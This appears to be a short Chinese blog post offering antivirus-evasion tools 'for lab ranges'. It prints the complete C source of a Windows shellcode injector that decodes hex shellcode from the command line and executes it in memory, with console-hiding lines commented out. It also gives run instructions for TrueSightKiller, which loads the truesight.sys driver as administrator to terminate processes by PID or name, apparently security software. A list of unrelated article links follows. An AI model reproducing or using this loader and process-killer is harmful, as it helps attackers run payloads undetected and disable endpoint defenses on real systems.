靶场专用免杀工具

工具
SimpleShellcodeInjector

代码

bash 复制代码
#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[]) {
   // HWND hWnd = GetConsoleWindow();
   // ShowWindow( hWnd, SW_HIDE );
    unsigned int char_in_hex;
    char* shellcode = argv[1];
    unsigned int iterations = strlen(shellcode);
    unsigned int memory_allocation = strlen(shellcode) / 2; 
    for (unsigned int i = 0; i < iterations - 1; i++) {
        sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
    }
    void* exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(exec, shellcode, memory_allocation);
    DWORD ignore;
    VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
    (*(void (*)()) exec)();
    return 0;
}

TrueSightKiller

自行编译后,将truesight.sys与编译之后的exe放在同一目录下,以管理员权限运行cmd

-p 指定pid,-n指定进程名


相关推荐
5***o5001 天前
React安全
前端·安全·react.js
卓豪终端管理1 天前
破局异构IT环境:如何实现多系统补丁的统一管理与安全闭环?
安全
一位搞嵌入式的 genius1 天前
SSL协议深度解析:网络安全通信的基石与演进
网络·计算机网络·安全·网络通信·ssl协议
中科固源1 天前
中科数测研究院亮相东京CodeBlue大会,揭秘医疗影像系统安全漏洞
网络·安全·网络安全
凯子坚持 c1 天前
ToDesk深度评测:解析新一代远程控制软件的安全、性能与价值体系
网络·安全
天下不喵1 天前
安全小白入门(2)-----跨站脚本(XSS)
前端·后端·安全
q***T5831 天前
Java安全编程实践
安全
CXH7281 天前
架构师的登山之路-第四站-用架构师的视角重新理解网络和安全
网络·安全·php
EasyGBS1 天前
EasyGBS如何为养老院构建全天候安全防线?
安全
佛祖让我来巡山1 天前
⚠️登录认证功能的成长过程:整体概述
安全·登录·springsecurity·登录认证·认证授权